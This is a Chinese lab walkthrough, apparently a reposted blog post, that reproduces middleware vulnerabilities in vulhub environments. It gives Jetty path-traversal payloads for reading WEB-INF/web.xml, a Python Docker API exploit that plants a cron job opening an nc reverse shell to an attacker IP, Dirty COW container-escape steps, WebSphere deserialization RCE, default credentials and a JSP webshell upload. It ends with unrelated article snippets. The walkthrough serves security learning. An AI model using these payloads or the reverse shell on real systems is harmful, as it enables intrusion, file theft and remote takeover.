中间件安全-CVE 复现K8sDockerJettyWebsphere漏洞复现

目录

  • 服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere
    • 中间件-K8s
    • 中间件-Jetty
      • 漏洞复现
        • CVE-2021-28164-路径信息泄露漏洞
        • CVE-2021-28169双重解码信息泄露漏洞
        • CVE-2021-34429路径信息泄露漏洞
    • 中间件-Docker
      • 漏洞复现
        • 守护程序 API 未经授权访问漏洞
    • 中间件-WebSphere
      • 漏洞复现
        • 反序列化CVE-2015-7450
        • 弱口令 &&后台Getshell
        • CVE-2020-4450

服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等。

中间件所披露的问题:

中间件安全-IIS&Apache&Tomcat&Nginx漏洞复现

中间件安全-Weblogic&Jenkins&GlassFish漏洞复现

1、中间件-K8s 安全

2、中间件-Jetty 安全

3、中间件-Docker 安全

4、中间件-WebSphere 安全

常见中间件的安全测试:

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程:

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

中间件-K8s

介绍:kubernetes详解

中间件-K8s:

kubernetes 简称 k8s,是一个由 google 开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在 B 站内部,k8s 在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。

K8s相关安全问题以及漏洞复现参考文章:k8s对外攻击面总结_k8s漏洞

中间件-Jetty

介绍:

Elipse Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。Jetty是一个开源的HTTP服务器和Servlet引擎,它可以为JSP和Servlet提供运行时环境。相对于Tomcat,jetty更加轻量、更加简易、更加灵活。

安全问题:

CVE-2021-28164-路径信息泄露漏洞

CVE-2021-28169-双重解码信息泄露漏洞

CVE-2021-34429-路径信息泄露漏洞

漏洞复现

CVE-2021-28164-路径信息泄露漏洞

Jetty 版本 9.4.37 引入了有关 URI 解码的更精确的RFC3986实现,以及一些新的合规性模式,以选择性地允许支持某些在 Servlet 指定的 API 方法行为中可能具有模糊解释的 URI。默认模式允许 % 编码。要排除以进行 URI 规范化的字符,RFC 正确,但常见 Servlet 实现不假定。

默认合规性模式允许具有包含或分段的 URI 的请求访问 WEB-INF 目录中的受保护资源。例如,请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实现的敏感信息。

%2e %2e%2e /context/%2e/WEB-INF/web.xml

此错误已在版本 9.4.39 中修复。

靶场:vulhub

参考:CVE-2021-28164

image-20231025001534746

开启环境:

image-20231025000822983

访问:

image-20231025000903314

payload:
//访问敏感文件 Web.xml   /WEB-INF/web.xml
//用于绕过限制:%2e/
curl -v "http://192.168.100.134:8080/%2e/WEB-INF/web.xml"

image-20231025001219204

image-20231025001239074

或使用burp抓包,发送请求或直接使用浏览器直接url请求

http://you-ip:8080/%2e/WEB-INF/web.xml
CVE-2021-28169双重解码信息泄露漏洞

介绍:

在版本 9.4.40、10.0.2、11.0.2 之前,Jetty Servlet 中的 and 类受到双重解码错误的影响。如果开发人员手动使用这两个类,攻击者可以使用它们下载 WEB-INF 目录中的任意敏感文件。
ConcatServlet WelcomeFilter

靶场:vulhub

参考:CVE-2021-28169 双重解码信息泄露漏洞

image-20231025001628520

开启环境:

image-20231025002027429

访问:

image-20231025002053079

payload:
//访问敏感文件 Web.xml。	/static?/WEB-INF/web.xml
//双 URL 编码以绕过限制:W
curl -v "http://your-ip:8080/static?/%2557EB-INF/web.xml"
curl -v "http://192.168.100.134:8080/static?/%2557EB-INF/web.xml"

image-20231025002233668

image-20231025002300555

使用浏览器发送url请求或使用burp抓包修改数据包,发送请求也可以

http://you-ip:8080/static?/WEB-INF/web.xml
CVE-2021-34429路径信息泄露漏洞

介绍:

Eclipse Jetty 是一个 Java Web 服务器和 Java Servlet 容器。

Jetty 9.4.40 修复了一个不明确的路径信息泄露漏洞 CVE-2021-28164,CVE-2021-34429 是它的变体和绕过。

有 3 种类型的有效负载会泄露以下内容: WEB-INF/web.xml

  • 基于 Unicode 的 URL 编码: /%u002e/WEB-INF/web.xml

  • \0有错误:. /.%00/WEB-INF/web.xml

  • \0有错误:.. /a/b/..%00/WEB-INF/web.xml

该漏洞影响码头 9.4.37-9.4.42、10.0.1-10.0.5、11.0.1-11.0.5。

靶场:vulhub

参考:CVE-2021-34429路径信息泄露漏洞

image-20231025002541374

开启环境:

image-20231025002631893

访问:

image-20231025002750348

payload:
//访问敏感文件 Web.xml。 /WEB-INF/web.xml
//使用有效负载绕过限制: /%u002e/WEB-INF/web.xml
curl -v "http://192.168.100.134:8080/%u002e/WEB-INF/web.xml"

image-20231025003130498

或直接使用浏览器url请求或使用burp抓包,发送请求/%u002e/WEB-INF/web.xml

GET /%u002e/WEB-INF/web.xml HTTP/1.1
...

image-20231025003034480

http://192.168.100.134:8080/%u002e/WEB-INF/web.xml

image-20231025003450893

此两种方式,以上的两种CVE漏洞也可以利用成功。

中间件-Docker

介绍:Docker详解

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。

Docker 容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行 POC 或 EXP,就可以返回一个宿主机的高权限 Shell,并拿到宿主机的
root 权限,可以直接操作宿主机文件。 它从容器中逃了出来,因此我们形象的称为Docker 逃逸漏洞。

//判断容器
1、容器判断:
-是否存在.dockerenv 文件
ls -alh /.dockerenv
-查询系统进程的 cgroup 信息:
cat /proc/1/cgroup2、容器逃逸漏洞:权限提升
-由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
-由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
-由配置不当引起——开启 privileged(特权模式)+宿主机目录挂载(文件挂载)、功能
(capabilities)机制、sock 通信方式-CVE-2016-5195//工具地址:https://github.com/gebl/dirtycow-docker-vdso
上传到docker环境当中
进入目录执行make进行编译
执行生成的可执行文件即可

安全问题:

API 未经授权访问漏洞

漏洞复现

守护程序 API 未经授权访问漏洞

靶场:vulhub

参考:Docker守护程序 API 未经授权访问漏洞

image-20231025004516311

开启环境:

image-20231025124712711

漏洞利用:

//exp脚本,反弹shell
import dockerclient = docker.DockerClient(base_url='http://you-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 攻击者IP 监听端口 -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

执行脚本:

python docker-api.py

开启监听:

nc -lvvp 8888

等待反弹即可。

中间件-WebSphere

介绍:webSphere详解

WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。

WebSphere 是一个模块化的平台,基于业界支持的开放标准。可以通过受信任和持久的接口,将现有资产插入 WebSphere,可以继续扩展环境。WebSphere 可以在许多平台上运行,包括 Intel、Linux 和 z/OS。

安全问题:

反序列化CVE-2015-7450

弱口令 &&后台Getshell

CVE-2020-4450

漏洞复现

反序列化CVE-2015-7450

原理:

Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞,这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法,在最终类型检查之前执行Java函数或字节码(包括调用Runtime.exec()执行本地OS命令)。

复现:

反序列化漏洞发生位置在SOAP的通信端口8880,可使用https发送XML格式数据。

//拉取环境
docker pull iscrosales/websphere7
//开启环境
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

等待环境开启后,访问即可。如果访问8880端口,若出现如下界面,则可能存在Java反序列化漏洞。

image-20231025142403587

image-20231025145741137

漏洞利用:

可直接使用工具,梭哈一键利用,RCE以及上传等操作,输入url即可

image-20231025131550076

检测并执行过后:

image-20231025142623832

执行命令(RCE):

image-20231025142653615

whoami,当前路径pwd

image-20231025143130409

弱口令 &&后台Getshell

弱口令:

在6.x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。

访问9096端口服务:

//登录界面
//http://you-ip:9060/ibm/console/unsecureLogon.jsp
http://you-ip:9060/ibm/console
//默认账号密码:
websphere/websphere
system/manager//进入后台
http://you-ip:9060/ibm/console/login.do

弱口令:

image-20231025150439234

成功进入后台:

image-20231025143506644

后台getshell:

1、点击WebSphere 企业应用程序,点击安装

2、创建jsp木马文件,压缩成zip文件,将zip更名为war后缀的文件,进行上传(上传war包,点击下一步)

3、填写上下文根,关系到你访问的URL

4、保存访问shell即可(回到WebSphere 企业应用程序,选中war包启动,访问shell)

http://you-ip:9080/shell.jsp

http://you-ip:9080/1/shell.jsp

通过哥斯拉进行连接,进行getshell即可。

操作流程如下:

1、点击WebSphere 企业应用程序,点击安装

image-20231025143548599

2、创建jsp木马文件,压缩成zip文件,将zip更名为war后缀的文件,进行上传(上传war包,点击下一步)

image-20231025143700208

上传,点击下一步:

image-20231025143758569

3、一路下一步,到填写上下根,填写即可;填写上下文根,关系到你访问的URL。

image-20231025143913317

等待安装:

image-20231025144010188

4、保存访问shell即可(回到WebSphere 企业应用程序,选中war包启动,访问shell)

安装完成后,保存配置:

保存主配置后,然后回到WebSphere 企业应用程序,选中war包启动,访问shell

image-20231025144058226

选中,点击start:

image-20231025144227115

成功:

image-20231025144310021

访问shell:

http://192.168.100.134:9080/shell.jsp

image-20231025144651487

http://192.168.100.134:9080/1/shell.jsp

image-20231025152040083

接下来通过哥斯拉进行连接:

成功连接:

image-20231025144712932

命令执行:

image-20231025145329677

具体详细复现过程可参考文章:

WebSphere漏洞复现

CVE-2020-4450

漏洞原理以及复现可参考:

WebSphere 远程代码执行漏洞CVE-2020-4450

CVE-2020-4450


其他中间件安全问题以及漏洞复现点击以下链接即可

跳转参考链接如下:

中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/124403.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

个人服务器怎么搭建?个人服务器搭建方法

​  个人服务器是指一台由个人拥有和管理的服务器,用于存储和提供个人网站、应用程序或其他在线服务。搭建个人服务器可以让我们更好地掌控自己的数据和网络资源。下面介绍一种常见的个人服务器搭建方法。 第一步:选择合适的硬件 我们需要选择一台适合…

Sketch mac 98.3(矢量绘图设计软件)

Sketch是一款专为Mac设计的矢量图形编辑软件,被广泛应用于UI/UX设计、网页设计、移动应用设计等领域。Sketch提供了各种工具和功能,包括绘图、图形设计、排版等,可以帮助设计师轻松地创建高质量的矢量图形和模型。Sketch的主要特点包括&#…

Git基础命令实践

文章目录 简介git的安装配置git的安装git的配置 git使用的基本流程创建版本库时光机穿梭版本回退工作区和暂存区管理修改撤销修改删除文件 远程仓库添加远程库从远程库克隆 总结 简介 本文主要记录了我在学习git操作的过程,以及如何使用GitHub。建议先参考廖雪峰的…

测试环境内存溢出排查过程

基本信息 客户名称:xxx 产品名称: 版本号: 问题分类:编码问题 环境类型:实体机 问题现象 保险公司测试环境爆内存,机器挂掉。总共64g的内存,在没有开始测试tomcat部署war包前内存使用率为25%左…

提升管理文件效率:批量删除文件名中的特殊符号

在文件管理的过程中,我们经常会遇到文件名中包含特殊符号的情况,这些符号可能会干扰文件的正常运行,特别是在一些特定的软件或系统中。因此,为了提高文件管理的效率和文件的可读性、可操作性,我们需要对这些特殊符号进…

[BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

再补完这个就基本上完了. crypto RSA Variation II Schmidt-Samoa密码系统看上去很像RSA,其中Npqq, 给的eN给了d from secret import flag from Crypto.Util.number import *p getPrime(1024) q getPrime(1024)N p*p*qd inverse(N, (p-1)*(q-1)//GCD(p-1, q-1))m bytes…

Web3 治理实践探讨:如何寻找多元化发展路径?

Web3 领域变革正崭露头角,而社区治理开始成为行业热议话题。Web3 项目如何探寻多元化建设的解困路径,究竟是治理模型的精进成为首要问题,还是吸纳更多资金与组织教育培训,让开发者成为项目建设的中坚力量?本期 TinTinW…

Panda3d 介绍

Panda3d 介绍 文章目录 Panda3d 介绍Panda3d 的安装Panda3d 的坐标系统介绍Panda3d 的运行Panda3d 加载一个熊猫父节点和子节点之间的关系 验证Panda3d 的坐标系统X 轴的平移Y 轴的平移Z 轴的平移X 轴的旋转Y 轴的旋转Z 轴的旋转 Panda3D是一个3D引擎:一个用于3D渲染和游戏开发…

Docker Consul概述及构建

Docker Consul概述及构建 一、Consul概述1.1、什么是Consul1.2、consul 容器服务更新与发现1.3、服务注册与发现的含义1.4、consul-template概述1.5、registrator的作用 二、consul部署2.1、环境配置2.2、在主节点上部署consul2.3 、配置容器服务自动加入nginx集群2.3.1、安装G…

IDEA 使用技巧

文章目录 语言支持简化编写 有问题,可暂时跳过 个人常用快捷键插件主题插件功能插件 碰到过的问题 除了一些在Linux上用vim开发的大佬,idea算是很友好的集成开发工具了,功能全面,使用也很广泛。 记录一下我的 IDEA 使用技巧&#…

OSPF综合实验

一、实验拓扑 二、实验需求 1、R4为ISP,其上只配置IP地址;R4与其他所直连设备间均使用公有IP; 2、R3-R5、R6、R7为MGRE环境,R3为中心站点; 3、整个OSPF环境IP基于172.16.0.0/16划分;除了R12有两个环回&a…

分类预测 | Matlab实现KOA-CNN-BiLSTM-selfAttention多特征分类预测(自注意力机制)

分类预测 | Matlab实现KOA-CNN-BiLSTM-selfAttention多特征分类预测(自注意力机制) 目录 分类预测 | Matlab实现KOA-CNN-BiLSTM-selfAttention多特征分类预测(自注意力机制)分类效果基本描述程序设计参考资料 分类效果 基本描述 1…

DVWA-SQL Injection SQL注入

概念 SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。 成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据…

使用Gateway解决跨域问题时配置文件不生效的情况之一

首先html文件只有一个发送ajax请求 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content&q…

21.12 Python 实现网站服务器

Web服务器本质上是一个提供Web服务的应用程序&#xff0c;运行在服务器上&#xff0c;用于处理HTTP请求和响应。它接收来自客户端&#xff08;通常是浏览器&#xff09;的HTTP请求&#xff0c;根据请求的URL、参数等信息生成HTTP响应&#xff0c;并将响应返回给客户端&#xff…

基于SpringBoot的在线笔记系统

技术介绍 &#x1f525;采用技术&#xff1a;SpringSpringMVCMyBatisJSPMaven &#x1f525;开发语言&#xff1a;Java &#x1f525;JDK版本&#xff1a;JDK1.8 &#x1f525;服务器&#xff1a;tomcat &#x1f525;数据库&#xff1a;mysql &#x1f525;数据库开发工具&…

C#开发DLL,CAPL调用(CAPL>> .NET DLL)

文章目录 展示说明新建类库工程C# 代码生成dllCAPL脚本调用dll,输出结果展示 ret为dll里函数返回的值。 说明 新建类库工程 在visual studio中建立。 C# 代码 using

合肥中科深谷嵌入式项目实战——人工智能与机械臂(三)

订阅&#xff1a;新手可以订阅我的其他专栏。免费阶段订阅量1000 python项目实战 Python编程基础教程系列&#xff08;零基础小白搬砖逆袭) 作者&#xff1a;爱吃饼干的小白鼠。Python领域优质创作者&#xff0c;2022年度博客新星top100入围&#xff0c;荣获多家平台专家称号。…

时序预测 | Matlab实现ARIMA-LSTM差分自回归移动差分自回归移动平均模型模型结合长短期记忆神经网络时间序列预测

时序预测 | Matlab实现ARIMA-LSTM差分自回归移动差分自回归移动平均模型模型结合长短期记忆神经网络时间序列预测 目录 时序预测 | Matlab实现ARIMA-LSTM差分自回归移动差分自回归移动平均模型模型结合长短期记忆神经网络时间序列预测预测效果基本介绍程序设计参考资料 预测效果…

Ansible中常用模块

目录 一、Ansible实现管理的方式 二、Ad-Hoc执行方式中如何获得帮助 三、Ansible命令运行方式及常用参数 四、Ansible的基本颜色代表信 五、Ansible中的常用模块 1、command模块 2、shell模块、script模块 3、copy模块、fetch模块 4、file模块 5、archive模块、unarc…